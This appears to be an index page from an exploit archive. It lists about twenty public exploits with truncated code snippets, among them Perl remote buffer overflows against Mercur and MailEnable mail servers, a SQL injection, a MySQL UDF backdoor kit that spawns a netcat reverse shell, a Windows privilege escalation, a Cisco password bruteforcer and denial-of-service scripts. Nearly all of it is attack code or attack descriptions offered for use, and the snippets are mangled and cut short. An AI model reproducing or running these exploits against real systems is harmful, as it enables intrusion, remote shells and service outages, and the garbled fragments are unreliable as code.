mercur-v1.txt

!/usr/bin/perl mercur-v1.pl Mercur v5.00.14 win32 remote exploit by mu-b - Dec 2006 - Tested on: Mercur v5.00.14 win32 use Getopt::Std; getopts't:n:', %arg; use Socket; use MIME::Base64; my $target; if defined$arg't' $target = $arg't' if !defined$target my $imapdport = 143; my $senddelay = 1; if...

WSN Guest 1.21 (comments.php id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= WSN Guest 1.21 comments.php id Remote SQL Injection Exploit ============================================================= WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection...

mercurypown-v1.pl.txt

!/usr/bin/perl mercurypown-v1.pl Mercury/32 Connected\n"; $buf = "1 LOGIN"." "x$LEN-$BUFLEN."\255\n"; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload\n"; $buf = $NOP x 255; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload 2\n"; $buf = $NOP x $BUFLEN; sendSOCKET, $buf, 0...

maildisable-v4.pl.txt

!/usr/bin/perl maildisable-v4.pl Mail Enable Professional/Enterprise v2.32-4 win32 remote exploit by mu-b - Wed Nov 29 2006 - Tested on: Mail Enable Professional v2.32 win32 - with HOTFIX Mail Enable Professional v2.33 win32 Mail Enable Professional v2.35 win32 Mail Enable Professional v2.37 win3...

maildisable-v3.pl.txt

!/usr/bin/perl maildisable-v3.pl Mail Enable Professional/Enterprise v2.32-4 win32 remote exploit by mu-b - Thu Nov 23 2006 - Tested on: Mail Enable Professional v2.32 win32 - with HOTFIX Mail Enable Professional v2.33 win32 Mail Enable Professional v2.34 win32 what does this remind you off? Note...

ActSoft DVD-Tools (dvdtools.ocx) Remote Buffer Overflow Exploit PoC

Exploit for unknown platform in category dos / poc =================================================================== ActSoft DVD-Tools dvdtools.ocx Remote Buffer Overflow Exploit PoC ===================================================================...

MailEnable Professional/Enterprise 2.37 - Denial of Service

!/usr/bin/perl maildisable-v7.pl Mail Enable Professional/Enterprise v2.32-7 win32 by mu-b - Wed Feb 14 2007 - Tested on: Mail Enable Professional v2.37 win32 use Getopt::Std; getopts't:', %arg; use Socket; use MIME::Base64; my $target; if defined$arg't' $target = $arg't' if !defined$target my...

maildisable-v5.pl.txt

!/usr/bin/perl maildisable-v5.pl Mail Enable Professional/Enterprise Connected\n"; sendSOCKET, "1 AUTHENTICATE NTLM\r\n", 0; sleep$senddelay; $buf = $PAD x 12. "\xfa\xff\xff\xff". $PAD x 12; sendSOCKET, encodebase64$buf."\r\n", 0; sleep$senddelay; $buf = $PAD x 28. "\x00\x01". $PAD x 2...

MailEnable Professional/Enterprise <= 2.35 Out of Bounds DoS Exploit

Exploit for unknown platform in category dos / poc ==================================================================== MailEnable Professional/Enterprise Connected\n"; sendSOCKET, "1 AUTHENTICATE NTLM\r\n", 0; sleep$senddelay; $buf = $PAD x 12. "\xfa\xff\xff\xff". $PAD x 12; sendSOCKET,...

MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution

-- raptorwinudf.sql - A MySQL UDF backdoor kit for Windows -- Copyright c 2007 Marco Ivaldi -- -- This is a MySQL backdoor kit for Windows based on the UDFs User Defined -- Functions mechanism. Use it to spawn a reverse shell netcat UDF on port -- 80/tcp or to execute single OS commands exec UDF...

vbull-dos.txt

VBulletin DoS Exploit by www.h4x0r.ir The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works ; important = Image Verification in search.php is NOT Enabled. It works on 3.6.3 and prior all ! Perl Script use Socket; if @ARGV /...

Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux

No description provided by source. !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ || http://teleh0r.cjb.net/ $shellcode ...

MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit

No description provided by source. / MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit Created by SoBeIt Main file of exploit Tested on: Windows 2000 PRO SP4 Chinese Windows 2000 PRO SP4 Rollup 1 Chinese Windows 2000 PRO SP4 English Windows 2000 PRO SP4...

Cisco Password Bruteforcer Exploit

No description provided by source. / .: free source :. .: coded 4 Avatar Corp :. enabler. cisco internal bruteforcer. coder - norby concept - anyone this program just logs into a CISCO router and tries a list of passes looking for the enable one. it works in password-only CISCO as well in...

BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit (PoC)

Exploit for unknown platform in category remote exploits ================================================================ BulletProof FTP Client 2.45 Remote Buffer Overflow Exploit PoC ================================================================ !/usr/bin/python BulletProof FTP Client V2.45...

zipcentral.txt

ZipCentral 4.01 Exploit by bratax http://www.bratax.be/ Soooooo many thanks to BuzzDee and c0rrupt for helping me with all the problems I encountered : Wouldn't have finished this without you guys! Greetz to everyone I like... no, that doesn't include you turb00! Some technical info: -...

xchat267.txt

...

Winamp Playlist UNC Path Computer Name Overflow

This module exploits a vulnerability in the Winamp media player. This flaw is triggered when an audio file path is specified, inside a playlist, that consists of a UNC path with a long computer name. This module delivers the playlist via the browser. This module has only been successfully tested ...

SIPfoundry sipXtapi (CSeq) Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl Remote Buffer Overflow in sipXtapi bad char 0x00 0x09 0x0a 0x0d 0x20 use IO::Socket; use strict; print "\n\n"; print "sipXtapi original Exploit by Michael Thumann added a real shellcode by acaro\n\n"; print "tested on sipXphone 2.6.0.27 read the...

SIPfoundry sipXtapi - 'CSeq' Remote Buffer Overflow

!/usr/bin/perl Remote Buffer Overflow in sipXtapi bad char 0x00 0x09 0x0a 0x0d 0x20 use IO::Socket; use strict; print "\n\n"; print "sipXtapi original Exploit by Michael Thumann added a real shellcode by acaro\n\n"; print "tested on sipXphone 2.6.0.27 read the code for ret address\n\n"; if not...